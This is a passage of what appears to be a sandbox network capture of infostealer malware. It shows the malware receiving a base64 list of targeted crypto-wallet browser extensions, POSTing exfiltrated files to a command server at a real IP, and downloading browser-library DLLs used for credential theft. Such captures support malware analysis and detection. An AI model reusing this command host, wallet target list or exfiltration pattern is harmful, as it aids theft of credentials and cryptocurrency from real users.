35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 23, 2024 09:38:03.378688097 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 23, 2024 09:38:03.378726959 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 23, 2024 09:38:03.378765106 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 23, 2024 09:38:03.378802061 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 23, 2024 09:38:03.409507036 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 185.172.128.76 Content-Length: 6707 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:03.409586906 CEST	6707	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 23, 2024 09:38:03.748862982 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:04.226773977 CEST	93	OUT	GET /15f649199f40275b/sqlite3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:04.538495064 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:04 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 23, 2024 09:38:04.538559914 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 23, 2024 09:38:04.538599968 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 23, 2024 09:38:04.538655996 CEST	1289	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1U
Apr 23, 2024 09:38:04.538692951 CEST	1289	IN	Data Raw: 02 c1 e3 07 09 cb 89 1a e9 4c 01 00 00 0f b6 70 02 0f b6 db c1 e3 0e 09 f3 f6 c3 80 75 1e 83 e1 7f 81 e3 7f c0 1f 00 c7 42 04 00 00 00 00 c1 e1 07 b0 03 09 cb 89 1a e9 1d 01 00 00 0f b6 70 03 0f b6 c9 81 e3 7f c0 1f 00 c1 e1 0e 09 f1 f6 c1 80 75 Data Ascii: LpuBpuBxMMuMZ2Mx]uZxu
Apr 23, 2024 09:38:07.109637022 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI Host: 185.172.128.76 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:07.439982891 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:07.527910948 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH Host: 185.172.128.76 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:38:07.855406046 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:07.874383926 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4e 54 45 35 4d 54 6b 78 4f 44 67 31 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 2d 2d 0d 0a Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file_name"NTE5MTkxODg1LmZpbGU=------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file"------FIJECAEHJJJKJKFIDGCB--
Apr 23, 2024 09:38:08.201911926 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:08.566399097 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 61 38 61 30 35 38 34 36 37 66 65 66 39 64 38 39 65 30 36 65 37 64 63 34 32 65 37 33 38 39 35 37 61 32 31 61 65 64 38 36 62 63 35 65 32 65 31 32 61 37 34 38 61 35 36 39 63 35 62 64 37 61 36 33 61 37 65 30 32 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4e 54 45 35 4d 54 6b 78 4f 44 67 31 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"15a8a058467fef9d89e06e7dc42e738957a21aed86bc5e2e12a748a569c5bd7a63a7e028------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="file_name"NTE5MTkxODg1LmZpbGU=------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="file"------KKKJEHCGCGDAAAKFHJKJ--
Apr 23, 2024 09:38:08.894448042 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:38:09.145934105 CEST	93	OUT	GET /15f649199f40275b/freebl3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:09.449186087 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:09 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 23, 2024 09:38:11.027470112 CEST	93	OUT	GET /15f649199f40275b/mozglue.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:38:11.330657959 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:38:11 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 